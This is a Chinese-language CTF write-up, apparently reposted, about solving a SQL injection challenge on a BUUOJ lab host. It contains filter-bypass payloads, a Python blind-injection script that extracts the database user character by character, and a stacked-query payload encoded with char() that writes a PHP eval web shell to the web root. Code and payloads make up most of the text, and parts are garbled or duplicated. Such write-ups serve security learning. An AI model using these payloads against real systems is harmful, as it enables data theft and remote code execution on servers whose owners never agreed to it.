本文共 3941 字,大约阅读时间需要 13 分钟。
参考:
这里试addslash来的
用户信息中,把反斜线去掉展示的
在注册的用户名进行测试,
将 or , by 空格|
替换成为@
。 union select or 都过滤了 ,然后在尝试 异或^
substr
也被过滤了,然后尝试mid
试可以的, 但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))
。注册页面不好使,然后就看WP了 有时候python脚本跑sql注入的题的时候要带上cookie。
我这样跑,总是爆500 。见下面的学到了sql注入的预处理命令。?id=2;set @sql=char(12,324,23,23,); prepare query from @sql; execute query;
异或的一点是,:怎么发现的 可以进行堆叠注入的啊,,
如果一些关键词被那啥了,可以进行编码绕过什么的,比如以前的那些16进制绕过,还有这个10进制绕过
url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''res = requests.get(url=url)print(res.url)print(res.status_code)print(res.text)
带上cookie后才200了
url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''cookie = { "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}res = requests.get(url=url,cookies = cookie)print(res.url)print(res.status_code)print(res.text)
WP:2^(if(ascii(mid(user(),1,1))>0,0,1))
。这个行,但是不是在注册页面
用了这个if
语句试可以的
1^
进行异或的化,正确就是0,不正确才是0,异或后是1.,这时,name会出现admin。 正确的时候是1,异或后是0,name中不是admin,是空。那么我们python脚本抓的时候,就可以抓admin这个字样 然后照着这个思想写了个python脚本
for i in range(1,15): for j in range(50,155): url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j) cookie = { "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"} res = requests.get(url=url,cookies = cookie) # 注意这里要带上cookie才行,不然跑脚本的化,是500 #print(res.url) print(res.status_code) #print(res.text) content = re.findall('.*
',res.text,re.M|re.I) # findall返回的是一个列表 #print(content) if ("admin" not in content[0]): # 这里用下标取出元素 database = database+chr(j) print(database) break
能跑出来数据库,我没跑完,看WP说flag不在这里面
然后测试么,过滤了很多东西:
在注册的用户名进行测试,
将 or , by 空格|
替换成为@
。 union select or 都过滤了 ,然后在尝试 异或^
substr
也被过滤了,然后尝试mid
试可以的, 但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))
。注册页面不好使,然后就看WP了
然后 fuzz测试后发现过滤了union
,select
,&
,|
,过滤了select
然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()
绕过,需要执行的语句
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';
脚本使用10进制:
str = "select ' ' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)for i in range(0,len_str): if i==0: print('char(%s' %ord(str[i]),end='') else: print(',%s' %ord(str[i]),end='')print(')')
结果:
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)
自己的脚本:
str = "select ' ' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)print('char(',end='')for i in str: print('%s,' %ord(i),end='') # 最后会多一个,手动删去就好print(')')
结果:
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59,)
然后
payload:?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
然后访问那个目录下的shell.php
转载地址:http://ykgg.baihongyu.com/